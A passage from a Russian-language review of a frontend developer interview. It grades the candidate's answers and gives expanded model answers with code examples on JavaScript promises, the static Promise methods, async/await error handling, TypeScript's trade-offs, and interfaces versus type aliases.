  5. Next Macrotask (Timers, Events, Network) → Выбор по приоритету.

Понимание приоритетов (User Input > Network > Timers > Idle) и того, что rAF — это часть рендеринга, а не задача — отличает глубокое знание от поверхностного.

Вопрос 13. Что такое промисы в JavaScript и какие у них состояния.

Таймкод: 00:20:41

Ответ собеседника: Правильный. Промис — способ избежать callback hell, синтаксическая конструкция-обещание. Состояния: pending (ожидание), fulfilled (выполнен успешно, resolve), rejected (ошибка, reject). Исправил себя: состояние при resolve — fulfilled, а не resolved.

Правильный ответ:

Promise (Промис) — это объект-обертка для асинхронной операции, представляющий единое значение, которое будет доступно в будущем (или никогда). Это реализация паттерна «Future/Promise» по спецификации Promises/A+ (встроена в ES2015).

Ключевая идея: инверсия управления. Вместо того чтобы передавать колбэки в асинхронную функцию (Continuation Passing Style), функция возвращает объект-промис, к которому присоединяются обработчики.


1. Три состояния (State Machine)

У промиса есть внутренний слот [[PromiseState]] с тремя неизменяемыми состояниями:

СостояниеАнгл.ОписаниеПереходы
ОжиданиеpendingНачальное состояние. Результат еще не готов.fulfilled (resolve) <br> → rejected (reject)
Выполнен успешноfulfilledОперация завершена успешно. Есть значение ([[PromiseResult]]).Финальное (нельзя изменить)
Выполнен с ошибкойrejectedОперация завершена с ошибкой. Есть причина ([[PromiseResult]]).Финальное (нельзя изменить)

Терминология (важно для собеседований):

  • resolved — это не состояние. Это действие (procedure) или термин «разрешенный» (resolved promise).
  • Промис resolved (разрешен), если он fulfilled ИЛИ если он «заперт» за thenable-объектом (после resolve(thenable)).
  • Кандидат прав: resolve(value) переводит в fulfilled (если value не thenable).

2. Неизменяемость состояния (Immutability)

Один раз перешедший в fulfilled или rejected, промис никогда не меняет состояние и значение.

const p = new Promise((res, rej) => {
res(1);
res(2); // Игнорируется
rej(new Error('fail')); // Игнорируется
});
p.then(console.log); // 1

Это гарантирует идемпотентность обработчиков: .then(fn) вызовет fn ровно 1 раз с тем же значением, сколько бы раз ни подписались.


3. Конструктор и Executor Function

const promise = new Promise((resolve, reject) => {
// Executor выполняется СИНХРОННО и НЕМЕДЛЕННО при создании
doAsyncWork((err, data) => {
if (err) reject(err);
else resolve(data);
});
});
  • Executor запускается синхронно до возврата промиса.
  • Ошибки внутри executor (throw) автоматически превращаются в reject (try/catch вокруг executor).
  • resolve(value):
    • Если value — обычное значение → fulfilled.
    • Если valuethenable (объект с методом .then) → промис «поглощает» его состояние (assimilation). Промис переходит в pending, пока thenable не разрешится.

4. Методы экземпляра (Consumers) — создают НОВЫЕ промисы

Все методы возвращают новый промис (chaining), не мутируя исходный.

МетодНазначениеОсобенности
.then(onFulfilled, onRejected)Базовая подписка.Оба аргумента опциональны. Возвращает промис.
.catch(onRejected)Сокращение для .then(undefined, onRejected).Ловит ошибки из предыдущих звеньев цепочки.
.finally(onFinally)Очистка (cleanup).Не получает аргументов. Возвращает промис, который разрешается с тем же результатом/ошибкой, что и исходный (пропускает значение сквозь).

Правила цепочки (Chaining Rules):

  1. Если обработчик возвращает значение → следующий .then получает fulfilled с этим значением.
  2. Если обработчик возвращает промис/thenable → следующий .then ждет его разрешения (flattening).
  3. Если обработчик бросает ошибку (throw) → следующий .catch получает rejected.
  4. Если обработчика нет (пропуск) → значение/ошибка пропускается дальше (transparent pass-through).

5. Статические методы конструктора Promise

МетодПоведениеКейс использования
Promise.resolve(value)Нормализует значение в промис. Если value — промис, вернет его же (identity).Адаптация синхронных/thenable API к промисам.
Promise.reject(reason)Создает сразу rejected промис.Быстрый возврат ошибки.
Promise.all(iterable)Ждет все. fulfilled → массив значений. rejectedпервая ошибка (fail-fast).Параллельные независимые запросы (все нужны).
Promise.allSettled(iterable) (ES2020)Ждет все. Никогда не reject. Возвращает массив {status: 'fulfilled', value} | {status: 'rejected', reason}.Независимые задачи, где важен результат каждой (аналитика, батчи).
Promise.race(iterable)Разрешается как первый завершившийся (fulfilled или rejected).Таймауты (Promise.race([fetch(), timeout(5000)])).
Promise.any(iterable) (ES2021)Ждет первый fulfilled. Игнорирует rejected. Если все rejected → AggregateError.Фоллбэки (попробовать CDN1, потом CDN2, потом Origin).
Promise.withResolvers() (ES2024 / Stage 3)Возвращает { promise, resolve, reject }.Удобно для оберток над callback API без new Promise.

6. Микрозадачи и Event Loop (Критично для Senior)

Обработчики .then/.catch/.finally всегда выполняются асинхронно как микрозадачи (Microtasks), даже если промис уже разрешен.

Promise.resolve().then(() => console.log('Microtask'));
console.log('Sync');
// Вывод: Sync -> Microtask

Ловушка: await vs .then в циклах

// Последовательно (медленно)
for (const url of urls) {
await fetch(url); // Ждет завершения каждого
}

// Параллельно (быстро)
await Promise.all(urls.map(url => fetch(url)));

// Последовательно, но с контролем (rate limiting)
for (const url of urls) {
await fetch(url); // OK, если нужен строгий порядок
}

7. Обработка ошибок: Best Practices

  1. Всегда заканчивайте цепочку .catch() (или используйте window.onunhandledrejection / process.on('unhandledRejection')).
  2. Не игнорируйте ошибки в .then(success, fail) — второй аргумент ловит ошибку только из этого промиса, а не из предыдущих. Лучше .then(success).catch(fail).
  3. try/catch с await — синтаксический сахар над .catch, но работает только внутри async функций.
    async function foo() {
    try { await risky(); }
    catch (e) { handle(e); } // Ловит и sync, и async ошибки
    }
  4. AggregateError (от Promise.any / allSettled анализ) — итерируйте error.errors.

8. Внутренние слоты (Spec View — для глубины)

Спецификация определяет невидимые свойства:

  • [[PromiseState]]: "pending" | "fulfilled" | "rejected"
  • [[PromiseResult]]: значение (any) или причина ошибки (any) — только в финальных состояниях.
  • [[PromiseFulfillReactions]]: массив PromiseReaction (колбэки .then для успеха).
  • [[PromiseRejectReactions]]: массив PromiseReaction (колбэки .catch/.then 2-й аргумент).
  • [[PromiseIsHandled]]: boolean (для отслеживания unhandled rejections).

9. Типичные ошибки (Anti-patterns)

АнтипаттернПроблемаРешение
Promise Constructor Antipatternnew Promise(r => r(fetch(...))) — лишняя обертка.Просто верните fetch(...) или Promise.resolve(val).
Floating PromisedoAsync(); без await/.catch — потеря ошибки.Всегда await или .catch(log) или void doAsync().
Sequential await в циклеfor (..) await ... вместо параллелизма.Promise.all(map(...)) или for await (const p of pool) (пул).
new Promise с async executornew Promise(async (r, rej) => { await ... }) — ошибки в async executor не ловятся конструктором (промис уйдет в unhandled).Не делайте executor async. Используйте try/catch внутри или Promise.resolve().then(async ...).
Забытый return в цепочкеРазрыв цепочки, потеря значения.Линтер (require-return в promise plugin) + дисциплина.

10. Резюме: Promise — это

  1. Контейнер для будущего значения (Value Container).
  2. Машина состояний с гарантированным однократным переходом pending → settled.
  3. Монада-подобная структура (map/flatMap через .then), обеспечивающая композицию асинхронности.
  4. Источник микрозадач — интеграция с Event Loop.
  5. Стандарт де-факто для асинхронного API в JS (Fetch, FS, Streams, Timers via promisify).

Вопрос 14. Приведите примеры использования статических методов промисов (Promise.all, Promise.race и др.).

Таймкод: 00:21:56

Ответ собеседника: Правильный. Promise.all — параллельная загрузка нескольких независимых запросов (справочники для страницы). Promise.race — реализация таймаута запроса: гонка между fetch и setTimeout, кто первый завершится.

Правильный ответ:

Кандидат верно назвал два основных кейса. Ниже — расширенный обзор всех статических методов с production-ready паттернами, обработкой ошибок и нюансами производительности.


1. Promise.all(iterable) — «Все или ничто» (Fail-fast)

Поведение: Ждет выполнения всех промисов.

  • Успех: Возвращает промис, разрешающийся в массив значений (в том же порядке).
  • Ошибка: Отклоняется сразу при первой ошибке (остальные продолжают выполняться в фоне, но их результаты игнорируются).

Кейс: Загрузка независимых данных для страницы (Dashboard, настройки, профиль).

async function loadDashboardData(userId) {
try {
// Параллельный старт всех запросов
const [user, permissions, notifications, settings] = await Promise.all([
fetchUser(userId),
fetchPermissions(userId),
fetchNotifications(userId),
fetchSettings(userId)
]);

return { user, permissions, notifications, settings };
} catch (error) {
// Один упал — вся страница в ошибке (или фоллбэк)
logger.error('Dashboard load failed', error);
throw new Error('Не удалось загрузить дашборд'); // Пробрасываем дальше в Error Boundary
}
}

Нюанс: Promise.all с не-промисами (нормализация).

const results = await Promise.all([
fetchData(), // Промис
42, // Число -> обернется в Promise.resolve(42)
'string', // Строка
null, // null
someThenableObj // Thenable -> ассимилируется
]);
// results: [data, 42, 'string', null, thenableResult]

Антипаттерн: Последовательный запуск в цикле (медленно).

// ПЛОХО: ждет завершения каждого перед стартом следующего
const results = [];
for (const id of ids) {
results.push(await fetchItem(id));
}

// ХОРОШО: параллельно
const results = await Promise.all(ids.map(id => fetchItem(id)));

2. Promise.allSettled(iterable) — «Ждем всех, собираем отчет» (ES2020)

Поведение: Никогда не отклоняется (кроме ошибки в самом итераторе). Ждет завершения всех промисов. Возвращает массив дескрипторов результата:

  • { status: 'fulfilled', value: T }
  • { status: 'rejected', reason: Error }

Кейс 1: Аналитика / Логирование / Независимые микросервисы (один упал — остальные важны).

async function trackEvents(events) {
const results = await Promise.allSettled(
events.map(event => analyticsService.send(event))
);

const failed = results
.filter(r => r.status === 'rejected')
.map(r => r.reason);

if (failed.length) {
logger.warn('Some analytics events failed', failed);
// Можно отправить в Dead Letter Queue для ретрая
}
return { sent: results.length - failed.length, failed: failed.length };
}

Кейс 2: UI — отображение частичных данных (Skeleton Loaders).

async function renderWidgets(widgetConfigs) {
const results = await Promise.allSettled(
widgetConfigs.map(cfg => loadWidget(cfg))
);

results.forEach((result, index) => {
if (result.status === 'fulfilled') {
mountWidget(widgetConfigs[index].container, result.value);
} else {
renderError(widgetConfigs[index].container, result.reason);
// Остальные виджеты работают!
}
});
}

3. Promise.race(iterable) — «Победитель забирает всё» (First settled)

Поведение: Разрешается/Отклоняется как первый завершившийся промис (fulfilled ИЛI rejected).

Кейс 1: Таймаут для fetch (Классика).

function fetchWithTimeout(url, ms = 5000) {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), ms);

return Promise.race([
fetch(url, { signal: controller.signal })
.finally(() => clearTimeout(timeoutId)), // Чистим таймер при успехе/ошибке fetch
new Promise((_, reject) =>
setTimeout(() => reject(new Error('Timeout')), ms)
)
]);
}

// Использование
try {
const response = await fetchWithTimeout('/api/slow', 3000);
} catch (e) {
if (e.name === 'AbortError' || e.message === 'Timeout') {
// Обработка таймаута
}
}

Современный способ: fetch поддерживает signal от AbortController. Promise.race здесь нужен, чтобы превратить abort в reject с понятной ошибкой, так как fetch при аборте кидает AbortError (DOMException), который может не попадать в стандартный catch логику, если не проверять тип.

Кейс 2: Кэш vs Сеть (Stale-while-revalidate упрощенно).

async function getData(key) {
return Promise.race([
cache.get(key), // Быстрый кэш (может быть старым)
fetchFresh(key) // Медленная сеть
]).then(data => {
// Если кэш вернул быстрее — показываем сразу, сеть обновит кэш в фоне
if (!cache.has(key)) cache.set(key, data);
return data;
});
}

4. Promise.any(iterable) — «Первый успех» (ES2021)

Поведение: Ждет первый выполненный успешно (fulfilled). Игнорирует отклоненные.

  • Если хотя бы один fulfilled → разрешается с его значением.
  • Если все rejected → отклоняется с AggregateError (свойство .errors — массив всех причин).

Кейс: Фоллбэки / Множественные источники (CDN, Mirrors, Fallback API).

async function fetchFromFastestSource(resourceId) {
const sources = [
fetchFromCDN(resourceId), // Быстрый, но может быть недоступен
fetchFromMirror(resourceId), // Запасной
fetchFromOrigin(resourceId) // Медленный, но надежный источник
];

try {
// Вернет результат ТОГО, кто ответил УСПЕШНО первым
return await Promise.any(sources);
} catch (aggregateError) {
// AggregateError: All promises were rejected
logger.error('All sources failed', aggregateError.errors);
throw new Error('Resource unavailable');
}
}

5. Promise.resolve(value) / Promise.reject(reason) — Нормализация

Кейс 1: Адаптация Callback API (Промисификация).

// Старый API: fs.readFile(path, cb)
function readFilePromise(path) {
return new Promise((resolve, reject) => {
fs.readFile(path, (err, data) => {
if (err) reject(err);
else resolve(data);
});
});
}

// Или универсальная утилита (Node.js util.promisify делает это)
function promisify(fn) {
return (...args) => new Promise((resolve, reject) => {
fn(...args, (err, result) => err ? reject(err) : resolve(result));
});
}

Кейс 2: Условный возврат промиса / значения (Type Guard).

async function getUser(id) {
const cached = cache.get(id);
// Если в кэше есть — вернем обернутый промис, иначе пойдем в БД
return cached ? Promise.resolve(cached) : db.findUser(id);
}

// Потребитель всегда делает await, не зная, откуда данные
const user = await getUser(1);

Кейс 3: Promise.reject для быстрого выхода (Guard Clauses).

function processOrder(order) {
if (!order.items.length) return Promise.reject(new Error('Empty cart'));
if (!order.user) return Promise.reject(new Error('Unauthorized'));

return validatePayment(order) // возвращает промис
.then(() => saveOrder(order));
}

6. Promise.withResolvers() — ES2024 (Stage 3, в Node 22+, Chrome 119+)

Возвращает объект { promise, resolve, reject }. Убирает необходимость в new Promise и замыкании.

Кейс 1: Обертка над Event-based / Stream API.

function waitForEvent(emitter, eventName, timeoutMs = 5000) {
const { promise, resolve, reject } = Promise.withResolvers();

const handler = (data) => {
cleanup();
resolve(data);
};

const timeoutId = setTimeout(() => {
cleanup();
reject(new Error(`Timeout waiting for ${eventName}`));
}, timeoutMs);

function cleanup() {
emitter.off(eventName, handler);
clearTimeout(timeoutId);
}

emitter.on(eventName, handler);
return promise;
}

// Использование
const data = await waitForEvent(socket, 'message');

Кейс 2: Внешнее управление промисом (Deferred Pattern).

class TaskQueue {
constructor() {
this.queue = [];
this.processing = false;
}

add(taskFn) {
const { promise, resolve, reject } = Promise.withResolvers();
this.queue.push({ taskFn, resolve, reject });
this.process();
return promise; // Возвращаем промис сразу, управление resolve/reject у нас
}

async process() { ... }
}

7. Сводная таблица выбора метода

ЗадачаМетодРеакция на ошибкуВозвращает
Все должны успешно выполнитьсяPromise.allFail-fast (первая ошибка)T[] (массив значений)
Нужен результат каждого (успех/ошибка)Promise.allSettledНикогда не фейлитсяPromiseSettledResult[]
Нужен самый быстрый (любой исход)Promise.raceПервый settled (ошибка или успех)T (значение или ошибка)
Нужен первый успешный, ошибки игноримPromise.anyТолько если все ошибки (AggregateError)T (первое значение)
Нормализовать значение в промисPromise.resolveНикогда (если не thenable с reject)Promise<T>
Создать отвергнутый промисPromise.rejectВсегдаPromise<never>
Получить resolve/reject наружуPromise.withResolversЗависит от вызова reject{ promise, resolve, reject }

8. Производительность и память (Senior Notes)

  1. Promise.all с огромными массивами (10k+):

    • Создает массив промисов сразу → нагрузку на память и микрозадачи.
    • Паттерн: Concurrency Pool (Пул параллелизма). Ограничиваем количество одновременно выполняющихся промисов (например, p-limit библиотека или самописный пул на 3-5 штук).
    async function pool(tasks, limit = 3) {
    const results = [];
    const executing = [];
    for (const task of tasks) {
    const p = task().then(res => results.push(res));
    executing.push(p);
    if (executing.length >= limit) {
    await Promise.race(executing); // Ждем хотя бы одного
    // Удаляем завершенные из executing (нужно отслеживать индексы или использовать Set)
    }
    }
    return Promise.all(executing).then(() => results);
    }
  2. Promise.allSettled vs try/catch в Promise.all:

    • allSettled безопаснее для памяти в долгоиграющих процессах, так как не прерывает стек ошибки, а собирает их аккуратно.
  3. Отмена (Cancellation):

    • Промисы неотменяемы нативно.
    • Паттерн: AbortController + signal (для fetch) или флаг isCancelled внутри executor / проверка в .then.
    • Promise.race с AbortSignal — стандартный способ отмены ожидания.

Вопрос 15. Что такое async/await и как в таких конструкциях обрабатывать ошибки.

Таймкод: 00:23:22

Ответ собеседника: Правильный. Async/await — синтаксический сахар над промисами, делает асинхронный код похожим на синхронный. Ошибки обрабатываются через try/catch, что удобнее, чем .catch() в цепочках промисов.

Правильный ответ:

async / await — это синтаксический сахар над промисами (ES2017), который позволяет писать асинхронный код в императивном стиле, сохраняя неблокирующую природу JS. На уровне движка это реализуется через генераторы (Generators) и машину состояний (State Machine), которая автоматически управляет цепочкой промисов.


1. Как это работает «под капотом» (Transformation)

// Исходный код
async function fetchUser(id) {
const response = await fetch(`/users/${id}`);
const data = await response.json();
return data;
}

// Трансформируется компилятором (упрощенно) в:
function fetchUser(id) {
return new Promise((resolve, reject) => {
// State Machine Logic
function step(value) {
// ... выполнение до следующего await ...
}
// 1. fetch(...) -> Promise
// 2. .then(response => response.json()) -> Promise
// 3. .then(data => resolve(data))
// 4. .catch(reject) - ВАЖНО: любой throw/reject попадает в reject внешнего промиса
});
}

Ключевые свойства:

  • async функция всегда возвращает Промис. Даже если вы делаете return 42 — вернется Promise.resolve(42).
  • await разворачивает (unwraps) Промис.
    • Если промис fulfilled → возвращает значение (value).
    • Если промис rejectedбросает исключение (throw reason), которое можно поймать try/catch.
  • await ставит выполнение функции на паузу и отдает управление Event Loop (планирует продолжение как микрозадачу).

2. Обработка ошибок: Стратегии и Паттерны

Главное правило: Ошибка в await (rejected promise) → throw (синхронное исключение).

А. try / catch / finally — Основной инструмент

Позволяет писать синхронно-выглядящий код обработки.

async function getUserData(userId) {
try {
// 1. Ошибки сети, 404, 500, parse error — все попадут сюда
const response = await fetch(`/users/${userId}`);

if (!response.ok) {
// HTTP ошибки (4xx, 5xx) НЕ режектят fetch промис!
// Нужно бросать вручную для единообразия
throw new HttpError(response.status, response.statusText);
}

const user = await response.json(); // JSON parse error -> catch
const permissions = await fetchPermissions(user.id); // Доп. запрос

return { ...user, permissions };

} catch (error) {
// Единая точка обработки: сеть, парсинг, логика, HttpError
logger.error('getUserData failed', { userId, error });

// 1. Можно вернуть дефолт/фоллбэк (подавить ошибку)
if (error instanceof HttpError && error.status === 404) {
return null; // Пользователь не найден — не фатально
}

// 2. Можно обогатить и пробросить дальше (re-throw)
throw new AppError('Failed to load user profile', { cause: error });

} finally {
// Cleanup: спиннеры, метрики, закрытие соединений
analytics.track('user_load_attempt', { userId });
}
}

Нюанс finally: Выполняется всегда. Если в finally есть return или throw — он перезаписывает результат/ошибку из try/catch (как и в синхронном JS). Избегайте return в finally.

Б. .catch() на возвращаемом промисе — Для вызывающего кода

async функция возвращает промис. Ошибка, не пойманная внутри (или проброшенная throw), становится rejected промисом.

// Внутри нет try/catch -> ошибка уйдет в rejected промис
async function risky() {
await fail();
}

// Вызывающий код ОБЯЗАН обработать
risky()
.then(handleSuccess)
.catch(handleError); // Или await risky().catch(...)

// В другой async функции:
async function caller() {
try {
await risky();
} catch (e) { ... }
}

В. Promise.all / allSettled с await — Параллелизм

Самая частая ошибка — писать await в цикле вместо параллелизма.

// ПЛОХО: Последовательно (N * latency)
async function slow(ids) {
const results = [];
for (const id of ids) {
results.push(await fetchItem(id)); // Ждет каждый!
}
return results;
}

// ХОРОШО: Параллельно (1 * max_latency)
async function fast(ids) {
// Ошибка в ЛЮБОМ промисе -> reject всего Promise.all (fail-fast)
return await Promise.all(ids.map(id => fetchItem(id)));
}

// ХОРОШО: Параллельно, но собираем все результаты (успехи + ошибки)
async function robust(ids) {
const results = await Promise.allSettled(ids.map(id => fetchItem(id)));

return results.map((r, i) => {
if (r.status === 'fulfilled') return r.value;
logger.warn(`Item ${ids[i]} failed`, r.reason);
return null; // или дефолт
}).filter(Boolean);
}

Г. for await ... of — Асинхронные итераторы / Потоки

async function processStream(stream) {
try {
for await (const chunk of stream) {
await processChunk(chunk); // Последовательная обработка чанков
}
} catch (error) {
// Ошибка чтения потока ИЛИ ошибка из processChunk
stream.destroy(error);
}
}

Д. Top-level await (ES2022, Modules)

В модулях (<script type="module">) можно использовать await без обертки в async. Ошибка на топ-левеле прекращает выполнение модуля и режектит промис модуля (попадает в import() catch или глобальный хендлер).

// config.js
const config = await fetchConfig().catch(e => {
console.error('Config load failed, using defaults', e);
return DEFAULT_CONFIG;
});
export { config };

3. Типичные ловушки (Senior Level Gotchas)

ЛовушкаПроблемаРешение
Забытый awaitconst user = fetchUser(1);user — это Промис, а не объект. Код идет дальше, данные не готовы.ESLint: require-await. Code Review. TypeScript (строгая типизация).
try/catch вокруг Promise.allОдин упал -> весь блок в catch. Потеряли результаты успешных.Использовать Promise.allSettled + анализ массива результатов.
Потеря стека вызовов (Stack Traces)Ребро throw new Error(...) в catch теряет исходный стек (если не использовать cause).throw new AppError('msg', { cause: originalError }) (ES2022 Error Cause).
await в не-async функцииSyntaxError.Только внутри async или топ-левель модулей.
Параллельный запуск без контроляPromise.all(hugeArray.map(...)) -> OOM, DDOS своего бэкенда.Concurrency Pool (пул из N одновременных), библиотеки p-limit, async-pool.
Ошибки в finallyfinally { throw new Error() } замаскирует исходную ошибку/результат.Не кидайте ошибки в finally. Только сайд-эффекты (логи, закрытие).
await внутри forEach / map (без Promise.all)items.forEach(async i => await save(i))forEach не ждет промисы! Функция вернет управление до завершения сохранений.for (const i of items) await save(i) (последовательно) или await Promise.all(items.map(i => save(i))) (параллельно).

4. Паттерн: «Result Tuple» (Go-style) для удобства без try/catch

Вместо try/catch блоков везде, часто делают утилиту, возвращающую кортеж [error, data].

// Утилита
export async function to(promise) {
try {
const data = await promise;
return [null, data];
} catch (error) {
return [error, null];
}
}

// Использование — чистый линейный код
async function handler(req, res) {
const [err, user] = await to(fetchUser(req.id));
if (err) return res.status(500).send('User service down');

const [permErr, perms] = await to(fetchPerms(user.id));
if (permErr) return res.status(403).send('Perms error');

res.json({ user, perms });
}

Популярен в Go-комьюнити и некоторых JS кодовых базах для уменьшения вложенности.


5. Резюме: Best Practices для Error Handling с async/await

  1. Всегда оборачивайте await в try/catch, если ошибка ожидаема и обрабатываема локально (валидация, 404, фоллбэки).
  2. Не ловите ошибки там, где не можете их обработать осмысленно. Пусть они пузырятся вверх к глобальному хендлеру (Error Boundary в React, errorMiddleware в Express, unhandledrejection в Node).
  3. Используйте Error Cause (new Error(msg, { cause })) для сохранения стека исходной ошибки при оборачивании.
  4. Разделяйте типы ошибок (кастомные классы HttpError, ValidationError, BusinessLogicError) для точечного catch (e) { if (e instanceof ValidationError) ... }.
  5. Параллелизм через Promise.all / allSettled — дефолтный выбор для независимых операций. Последовательный await в цикле — только при строгой зависимости шагов или rate limiting.
  6. finally — только для cleanup (логи, метрики, спиннеры, stream.destroy()). Никаких return/throw.

Вопрос 16. Что такое TypeScript и какие у него минусы.

Таймкод: 00:25:07

Ответ собеседника: Неполный. TypeScript — типизация над JavaScript, добавляет строгость. Минусы: нужно конфигурировать среду (считал это данностью, не минусом), нет защиты типов в рантайме (добавил после наводки интервьюера).

Правильный ответ:

TypeScript (TS) — это строго типизированный суперсет JavaScript, который компилируется (транспилируется) в чистый JS (ES3+). Разработан Microsoft (Anders Hejlsberg), открыт (Open Source).

Ключевая философия: «Types are erased at runtime» (Типы стираются во время выполнения). TS — это инструмент статического анализа (Static Analysis Tool) и compile-time safety, а не runtime enforcement.


1. Что дает TypeScript (Плюсы / Зачем нужен Senior-уровень)

ВозможностьСутьБизнес-ценность
Статическая типизацияАннотации : Type, Generics, Interfaces, Unions.Обнаружение ~15-25% багов на этапе CI/IDE (по исследованиям Microsoft/Google).
Интеллисенс / АвтодополнениеIDE знает структуру объектов, сигнатуры функций.Скорость разработки, рефакторинг без страха (Rename Symbol, Find References).
Контракты (Interfaces/Types)Документация, которая не устаревает (в отличие от JSDoc/комментариев).Онбординг новичков, межкомандное взаимодействие (API contracts).
Нарроуинг (Narrowing) & Control Flow Analysisif (typeof x === 'string') -> TS знает, что x строка.Безопасная работа с Union Types (string | null), устранение undefined ошибок.
Структурная типизация (Duck Typing)interface A { x: number } совместим с { x: number, y: string }.Гибкость, не нужно наследовать классы явно (implements опционален).
Продвинутая система типовConditional Types, Mapped Types, Template Literal Types, infer.Типобезопасные утилиты (Pick, Omit, ReturnType, Parameters), валидация схем на уровне типов (tRPC, Zod inference).
Экосистема.d.ts для библиотек (DefinitelyTyped), поддержка в всех фреймворках.Готовые типы для 99% npm пакетов.

2. Минусы и Затраты (Честный взгляд Senior/Tech Lead)

Кандидат упомянул только «нет рантайм проверок». На собеседовании ожидается понимание Full Cost of Ownership.

А. Нет защиты типов в Runtime (Fundamental Limitation)

Типы стираются при компиляции (tsc / esbuild / swc).

// TS Code
function greet(name: string) { console.log(name); }
greet(123); // TS Error: Argument of type 'number' not assignable to 'string'

// Скомпилированный JS (es2020)
function greet(name) { console.log(name); }
greet(123); // Работает! Ошибки нет.

Последствия:

  1. Границы системы (I/O) — зона риска: fetch, localStorage, JSON.parse, WebSocket messages, переменные окружения (process.env), файлы конфигурации.
    • Решение: Runtime Validation (Zod, Valibot, ArkType, io-ts, class-validator) + Parse, don't validate (парсинг сразу в типизированную структуру).
  2. any — дыра в системе. Легаси, миграция, сложные либы заставляют использовать any -> потеря гарантий.
    • Решение: strict: true, noImplicitAny: true, eslint: @typescript-eslint/no-explicit-any.
  3. Type Assertions (as Type) — обман компилятора.
    const data = JSON.parse(str) as User; // Опасно! Данные могут не совпадать.

Б. Сложность системы типов (Cognitive Load & Complexity)

TS имеет Тьюринг-полную систему типов (на уровне типов можно писать программы).

  • Кривая обучения: От простых интерфейсов до Conditional Types, Mapped Types, Variance (co/contra/invariance), Type Inference edge cases.
  • Over-engineering: «Type Golf» — написание невероятно сложных типов для простых задач, которые никто не сможет поддержать.
  • Ошибки компилятора: Иногда сообщения об ошибках занимают экран (особенно при работе с Generics/Overloads), требуют опыта для чтения.

В. Инфраструктурные накладные расходы (Build & Tooling)

  1. Build Step обязателен. Нет нативного запуска в браузере/Node (кроме экспериментального tsx / --experimental-strip-types в Node 22+ / jiti). Нужен tsc, esbuild, swc, vite, webpack.
  2. Конфигурация (tsconfig.json): 100+ опций. strict, moduleResolution (NodeNext vs Bundler), paths, baseUrl, verbatimModuleSyntax, isolatedModules. Ошибка в конфиге = часы дебага.
  3. Скорость компиляции: На больших монорепози (100k+ файлов) tsc может быть медленным. Решается: Project References, esbuild/swc для трансформации + tsc --noEmit для типов в CI.
  4. Версионирование: typescript@4 -> @5 -> @5.5 ломают билды, требуют обновления @types/*, конфигов, IDE.

Г. Номинальная типизация vs Структурная (Design Friction)

В C#/Java: class User { id: number } != class Product { id: number } (Nominal). В TS: { id: number } === { id: number } (Structural).

interface User { id: number; }
interface Product { id: number; }

function processUser(u: User) {}
processUser({ id: 1 } as Product); // OK в TS! Ошибка логики приложения.

Решение: Брендированные типы (Branded Types / Opaque Types):

type UserId = number & { __brand: 'UserId' };
type ProductId = number & { __brand: 'ProductId' };
// Теперь UserId !== ProductId

Д. Экосистема .d.ts и node_modules

  • Не все библиотеки имеют качественные типы.
  • @types/* могут устареть относительно версии либы.
  • declare module 'lib' — приходится писать самому.
  • moduleResolution: NodeNext + ESM + package.json exports — боль при миграции.

Е. False Sense of Security (Иллюзия безопасности)

Команда думает: «Есть TS -> багов нет».

  • Игнорируют unknown в пользу any.
  • Не валидируют входные данные (API).
  • Пишут // @ts-ignore / as unknown as Type под давлением дедлайнов.

3. Миграция и Стратегии внедрения (Senior Perspective)

  1. strict: true сразу. Включать по одному флагу (noImplicitAny, strictNullChecks, strictFunctionTypes) — больно и долго. Лучше выделить время, включить strict, починить проект.
  2. Изоляция типов (isolatedModules: true). Обязательно для esbuild/swc/babel/vite. Запрешает экспорт не-типов без export type, гарантирует корректную трансляцию без полного tsc.
  3. Генерация типов из источников правды (Source of Truth):
    • Backend -> Frontend: OpenAPI (Swagger) -> openapi-typescript / orval / hey-api. Не пишите типы API руками!
    • Database -> Backend: Prisma, Drizzle, Kysely — типы генерируются из схемы БД.
    • Schema Validation -> Types: Zod/Valibot -> z.infer<typeof schema> — единый источник для валидации и типов.
  4. CI Pipeline: tsc --noEmit (проверка типов) + eslint + prettier — в обязательном порядке перед мержем.

4. Современные альтернативы / Эволюция (2024-2025)

ИнструментРольОтношение к TS
tsc (TypeScript Compiler)Эталонная проверка типов (Type Checking).Медленный, используется в CI (--noEmit).
esbuild / swc / oxcБыстрая трансформация (TS -> JS, удаление типов).Не проверяют типы! Только стирают. Используются в Dev/Build (Vite, Next.js, Turbopack).
tsx / ts-node / jitiРаннеры для Node.js (Dev).JIT компиляция + type stripping.
biome / oxlintЛинтеры на Rust/Go.Быстрые, понимают TS синтаксис, частично заменяют tsc для простых проверок.
JSDoc + checkJs: trueТипизация внутри .js файлов.Вариант для мелких проектов/либ без билда, но менее мощный.
Effect.ts / fp-tsФП библиотеки.Используют TS на пределе возможностей (HKT simulation).

5. Резюме: TypeScript — это Trade-off

Вы получаетеВы платите
Безопасность рефакторингаВремя на обучение и поддержку типов
Живая документация (API контракты)Build step + конфигурация инструментов
Автодополнение / DX (Developer Experience)Сложность типов (Generics, Conditional)
Раннее обнаружение опечаток/ошибок APIИллюзия безопасности (нужен Runtime Validation)

Вердикт Senior/Tech Lead: Для проектов > 3-5 разработчиков, > 6 месяцев жизни, продуктовых командTypeScript обязателен (ROI положительный за счет снижения багов в проде и скорости онбординга). Для скриптов, прототипов, малых либ, одиночек — может быть оверхедом (JSDoc / plain JS достаточно).

Ключевой навык: Умение балансировать между строгостью (strict, сложные Generics) и прагматизмом (// @ts-expect-error с комментарием, unknown вместо any, генерация типов из схем), не превращая кодовую базу в «Type Golf».

Вопрос 17. В чём отличие между интерфейсами (interface) и типами (type) в TypeScript.

Таймкод: 00:26:25

Ответ собеседника: Неполный. На практике разделяет семантически: type для простых структур (пропсы), interface для сложных логических контрактов между модулями. Упомянул, что с интерфейсами нельзя сделать union-типы и примитивы. Не назвал declaration merging (объединение объявлений) как ключевое отличие интерфейсов.

Правильный ответ:

С технической точки зрения type — это псевдоним типа (Type Alias), а interface — это именованный тип объекта (Named Object Type). В 95% случаев они взаимозаменяемы для описания форм объектов, но имеют фундаментальные различия в возможностях и поведении компилятора.


1. Ключевое отличие: Declaration Merging (Объединение объявлений)

Только interface поддерживает слияние объявлений с одинаковым именем в одной области видимости. TypeScript объединяет их в один интерфейс.

// Файл 1 (например, types/window.d.ts)
interface Window {
myCustomGlobal: string;
}

// Файл 2 (ваш код)
interface Window {
anotherGlobal: number;
}

// Результат: Window имеет И myCustomGlobal, И anotherGlobal
declare const window: Window;
window.myCustomGlobal; // OK
window.anotherGlobal; // OK

Где это критично:

